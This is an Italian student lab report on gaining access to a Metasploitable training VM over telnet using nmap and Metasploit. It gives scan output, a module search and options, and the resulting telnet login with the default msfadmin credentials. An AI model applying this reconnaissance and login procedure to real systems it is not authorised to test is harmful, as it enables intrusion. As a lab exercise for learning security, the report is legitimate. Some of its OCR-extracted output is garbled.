Progetto S7-L1

Studente: Simone Mininni

Task:Exploit del servizio 'telnet' della Metasploitable, con l' ausilio di "Metasploit", al fine di controllare la macchina da remoto con kali.

Per exploit si intende una procedura che tende a sfruttare una vulnerabilità intrinseca di un programma, servizio, protocollo informatico.

Nel nostro caso andremo a sfruttare una vulnerabilità nota del servizio "telnet".

Protocollo non criptato che permette di controllare dispositivi da remoto previa autenticazione di default in ascolto sulla porta 23.

Prima di effettuare un attacco di questo tipo, è necessario capire se ci sono i presupposti:

- La macchina attaccante comunica con la macchina target
- Il servizio telnet è attivo sul bersaglio.

Per questo effettuiamo prima un ping:

Ora che abbiamo constatato che le due macchine comunicano, possiamo effettuare una scansione con nmap.

```
-$ nmap -sT 192.168.56.102
Starting Nmap 7.94 (https://nmap.org ) at 2023-11-07 14:30 CET Nmap scan report for 192.168.56.102 Host is up (0.0021s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT
         STATE SERVICE
21/tcp
        open ftp
22/tcp
         open
23/tcp
                telnet
         open
25/tcp
          open
                smtp
53/tcp
         open
                domain
80/tcp
                http
          open
                rpcbind
111/tcp
         open
139/tcp open
                netbios-ssn
                microsoft-ds
445/tcp
         open
512/tcp open
514/tcp open
                shell
1099/tcp open
                rmiregistry
                ingreslock
1524/tcp open
2049/tcp open
                nfs
2121/tcp open
                ccproxy-ftp
3306/tcp open
                mysql
5432/tcp open
                postgresql
5900/tcp open
6000/tcp open
                X11
6667/tcp open
8009/tcp open
                irc
                ajp13
8180/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
```

Abbiamo verificato che il target ha un servizio attivo sulla porta 23 telnet.

A questo punto utilizziamo Metasploit per automatizzare il processo di exploit.

Metasploit nello specifico è un tool che contiene un database di vulnerabilità note, quindi potremo sfruttare gli exploit per quel tipo di vulnerabilità e anche il payload di quell' exploit, ovvero un ponte che ci permette di caricare la shell nella macchina target e quindi controllarla da remoto.

Proseguendo cerchiamo su Metasploit eventuali exploit di telnet.

		•		
msf6 > search telnet		4.45	1	
Matching Modules				, F
# Name	Disclosure Date	Dank	Chack	Description
# Name	Disclosure Date	Rank	CHECK	Description
0 exploit/linux/misc/asus_infosvr_auth_bypass_exec vpass Command Execution	2015-01-04	excellent	No	ASUS infosvr Auth B
1 exploit/linux/http/asuswrt lan rce	2018-01-22	excellent	No	AsusWRT LAN Unauthe
nticated Remote Code Execution				
<pre>2 auxiliary/server/capture/telnet</pre>		normal	No	Authentication Capt
ure: Telnet				
3 auxiliary/scanner/telnet/brocade_enable_login		normal	No	Brocade Enable Logi
n Check Scanner	2007 44 44	0.000	W	CCD T-1
<pre>4 exploit/windows/proxy/ccproxy_telnet_ping y Ping Overflow</pre>	2004-11-11	average	Yes	CCProxy Telnet Prox
5 auxiliary/dos/cisco/ios telnet rocem	2017-03-17	normal	No	Cisco IOS Telnet De
nial of Service	2017-03-17	Hormac	NO	cisco ios ictrice be
6 auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-Link DIR-600 / DI
**				

Di fatto troviamo un exploit 'auxiliary' che permette di effettuare un password cracking, quindi di ottenere le credenziali di autenticazione.

Successivamente vediamo le condizioni che devono essere soddisfatte per lanciare l'attacco:

In questo caso dobbiamo inserire solo I 'ip del target.

```
) > set rhosts 192.168.56.102
msf6 auxiliary(
rhosts ⇒ 192.168.56.102
msf6 auxiliary(
                                             ) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
             Current Setting Required Description
  PASSWORD
                                         The password for the specified username
                                         The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
   RHOSTS 192.168.56.102 yes
                                          -metasploit.html
                                         The target port (TCP)
The number of concurrent threads (max one per host)
  RPORT
  THREADS 1
TIMEOUT 30
                                         Timeout for the Telnet probe
                               yes
View the full module info with the info, or info -d command.
```

Abbiamo inserito I 'ip del target, siamo pronti a lanciare l' exploit.

Troviamo "login with msfadmin/msfadmin", quindi I 'exploitè andato a buon fine e siamo riusciti a trovare le credenziali di accesso.

Ora testiamo se riusciamo ad accedere con il servizio telnet.

```
Connected to 192.168.56.102.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Nov 7 08:19:48 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ■
```

Infatti siamo dentro al dispositivo, potendolo controllare.

In conclusione abbiamo dimostrato come si può entrare in una macchina pur non essendo un utente autorizzato, riuscendo a controllare la stessa. Un black hat potrebbe impadronirsi di dati importanti per una azienda, o fare azioni attive per mandare in down il sistema o installare malware come ransomware, ecc...

Fine.